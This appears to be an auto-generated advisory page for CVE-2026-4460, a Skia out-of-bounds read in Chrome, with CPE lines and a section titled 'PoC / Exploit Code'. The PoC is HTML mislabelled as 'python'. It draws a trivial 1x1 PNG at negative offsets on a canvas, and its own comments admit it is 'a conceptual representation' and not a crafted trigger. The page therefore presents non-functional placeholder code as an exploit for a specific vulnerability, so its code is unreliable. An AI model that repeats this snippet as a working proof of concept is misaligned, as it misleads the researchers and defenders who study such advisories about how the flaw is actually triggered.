Out of bounds read in Skia in Google Chrome prior to 146.0.7680.153 allowed a remote attacker to perform an out of bounds memory read via a crafted HTML page. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 146.0.7680.153
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Proof of Concept for CVE-2026-4460: Skia Out of Bounds Read -->
<html>
<head>
<title>CVE-2026-4460 PoC</title>
</head>
<body>
<h1>Skia Out of Bounds Read PoC</h1>
<canvas id="pocCanvas" width="100" height="100"></canvas>
<script>
// Trigger the vulnerability by manipulating canvas image data in a specific way
const canvas = document.getElementById('pocCanvas');
const ctx = canvas.getContext('2d');
// Create an image object with crafted dimensions to trigger Skia logic
const img = new Image();
// Note: In a real exploit, the image source would be a crafted file
// causing Skia to miscalculate buffer bounds when drawing.
img.src = 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mP8/5+hHgAHggJ/PchI7wAAAABJRU5ErkJggg==';
img.onload = function() {
try {
// Attempt to draw the image with specific parameters that might trigger OOB read
// This is a conceptual representation of the trigger.
ctx.drawImage(img, -10, -10, 120, 120);
// Accessing image data might reveal the memory read if successful
const imageData = ctx.getImageData(0, 0, 100, 100);
console.log("Potential memory access triggered via Skia rendering.");
} catch (e) {
console.log("Exception caught: " + e.message);
}
};
</script>
</body>
</html>